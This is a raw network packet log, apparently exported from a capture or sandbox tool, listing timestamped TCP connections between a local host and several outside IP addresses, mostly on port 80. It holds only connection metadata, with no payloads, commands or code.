Nov 28, 2024 17:24:43.154223919 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:43.154270887 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:43.154450893 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:43.154499054 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:43.154938936 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:43.154987097 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:43.154994965 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:43.155036926 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:43.155649900 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:43.155699015 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:43.155724049 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:43.155771017 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:43.156424046 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:43.156472921 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:43.156478882 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:43.156519890 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:43.157093048 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:43.157140017 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:43.157207966 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:43.157393932 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:43.157808065 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:43.157898903 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:43.157910109 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:43.157938957 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:43.158505917 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:43.158555031 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:43.158555031 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:43.158595085 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:43.159301043 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:43.159348965 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:43.159394026 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:43.160079002 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:43.160134077 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:43.160202980 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:43.160259008 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:43.160718918 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:43.160772085 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:43.160850048 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:43.160898924 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:43.161397934 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:43.161439896 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:43.161452055 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:43.161493063 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:43.162090063 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:43.162143946 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:43.162231922 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:43.162297010 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:43.162787914 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:43.162837029 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:43.162916899 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:43.162957907 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:43.163539886 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:43.163589001 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:43.163614035 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:43.163701057 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:43.164257050 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:43.164303064 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:43.164341927 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:43.164940119 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:43.165028095 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:43.165111065 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:43.165680885 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:43.165745020 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:43.165766001 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:43.165803909 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:43.166416883 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:43.166446924 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:43.166481018 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:43.166496038 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:43.167258024 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:43.167391062 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:43.167392969 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:43.167432070 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:43.168207884 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:43.168258905 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:43.168334007 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:43.168382883 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:43.168884039 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:43.168932915 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:43.169003010 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:43.169049025 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:43.169612885 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:43.169698000 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:43.169774055 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:43.169828892 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:43.170291901 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:43.170305967 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:43.170361996 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:43.171137094 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:43.171191931 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:43.171268940 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:43.171319962 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:43.171714067 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:43.171772957 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:43.171833992 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:43.172051907 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:43.172436953 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:43.172481060 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:43.172488928 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:43.172518015 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:43.173047066 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:43.173099995 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:43.173151016 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:43.173341990 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:43.173618078 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:43.173733950 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:43.173773050 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:43.174376965 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:43.174462080 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:43.174510002 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:43.175024033 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:43.175101042 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:43.175127983 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:43.175205946 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:43.175653934 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:43.175699949 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:43.175789118 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:43.175837040 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:43.176388025 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:43.176433086 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:43.176450968 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:43.176492929 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:43.177088022 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:43.177143097 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:43.177195072 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:43.177298069 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:43.177782059 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:43.177829027 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:43.177881002 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:43.177927017 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:43.178531885 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:43.178591013 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:43.178610086 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:43.178652048 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:43.179356098 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:43.179368973 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:43.179413080 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:43.179442883 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:43.179923058 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:43.179972887 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:43.179986000 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:43.180028915 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:43.180663109 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:43.180711985 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:43.180787086 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:43.180835962 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:43.181370020 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:43.181421995 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:43.181515932 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:43.181561947 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:43.182106972 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:43.182161093 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:43.182353973 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:43.182432890 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:43.182879925 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:43.182923079 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:43.182971001 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:43.183706999 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:43.183757067 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:43.183815956 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:43.183857918 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:43.184467077 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:43.184489012 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:43.184535980 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:43.185025930 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:43.185075998 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:43.185184002 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:43.185311079 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:43.185671091 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:43.185718060 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:43.185784101 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:43.185828924 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:43.186378956 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:43.186410904 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:43.186427116 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:43.186443090 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:43.187064886 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:43.187129974 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:43.187191963 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:43.187244892 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:43.187779903 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:43.187833071 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:43.187889099 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:43.187944889 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:43.188482046 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:43.188525915 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:43.188525915 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:43.188565969 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:43.189235926 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:43.189284086 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:43.189351082 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:43.189404011 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:43.189944983 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:43.189992905 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:43.309561968 CET	49871	443	192.168.2.6	20.198.119.84
Nov 28, 2024 17:24:43.309597969 CET	443	49871	20.198.119.84	192.168.2.6
Nov 28, 2024 17:24:43.309674025 CET	49871	443	192.168.2.6	20.198.119.84
Nov 28, 2024 17:24:43.310317993 CET	49871	443	192.168.2.6	20.198.119.84
Nov 28, 2024 17:24:43.310333014 CET	443	49871	20.198.119.84	192.168.2.6
Nov 28, 2024 17:24:43.354238033 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:43.354290009 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:43.354309082 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:43.354355097 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:43.354511023 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:43.354566097 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:43.354639053 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:43.354693890 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:43.355210066 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:43.355256081 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:43.355293989 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:43.355340958 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:43.355997086 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:43.356048107 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:43.356127977 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:43.356257915 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:43.356678963 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:43.356735945 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:43.356782913 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:43.356826067 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:43.357475996 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:43.357542038 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:43.357681036 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:43.357738018 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:43.358094931 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:43.358150005 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:43.358191967 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:43.358342886 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:43.358772993 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:43.358815908 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:43.358872890 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:43.359731913 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:43.359802961 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:43.359822035 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:43.359957933 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:43.360235929 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:43.360280991 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:43.360301018 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:43.360383034 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:43.360939980 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:43.361041069 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:43.361076117 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:43.361135006 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:43.361818075 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:43.361869097 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:43.362076998 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:43.362119913 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:43.362658024 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:43.362705946 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:43.362756014 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:43.362797022 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:43.363332987 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:43.363379955 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:43.363461018 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:43.363502979 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:43.363785028 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:43.363868952 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:43.363873959 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:43.363908052 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:43.364490032 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:43.364537001 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:43.364602089 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:43.364645004 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:43.365192890 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:43.365251064 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:43.365312099 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:43.365396976 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:43.365952969 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:43.366025925 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:43.366054058 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:43.366097927 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:43.366646051 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:43.366688967 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:43.366736889 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:43.367376089 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:43.367425919 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:43.367764950 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:43.367813110 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:43.368062019 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:43.368110895 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:43.368169069 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:43.368253946 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:43.368829012 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:43.368841887 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:43.368887901 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:43.368904114 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:43.369529009 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:43.369585037 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:43.369641066 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:43.369693995 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:43.370424986 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:43.370481014 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:43.370522022 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:43.370574951 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:43.370945930 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:43.371032000 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:43.371073008 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:43.371114969 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:43.371705055 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:43.371757984 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:43.371798038 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:43.371859074 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:43.372371912 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:43.372420073 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:43.372437954 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:43.372453928 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:43.373074055 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:43.373123884 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:43.373213053 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:43.373255968 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:43.373795033 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:43.373861074 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:43.374048948 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:43.374102116 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:43.374519110 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:43.374584913 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:43.374638081 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:43.374774933 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:43.375211000 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:43.375266075 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:43.375288010 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:43.375329018 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:43.375926971 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:43.375983953 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:43.376063108 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:43.376230001 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:43.376673937 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:43.376751900 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:43.376832008 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:43.376866102 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:43.377403021 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:43.377450943 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:43.377496958 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:43.426168919 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:43.653968096 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:43.711245060 CET	443	49864	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:43.711843014 CET	49864	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:43.711858988 CET	443	49864	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:43.712416887 CET	49864	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:43.712423086 CET	443	49864	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:43.980283022 CET	80	49813	185.215.113.206	192.168.2.6
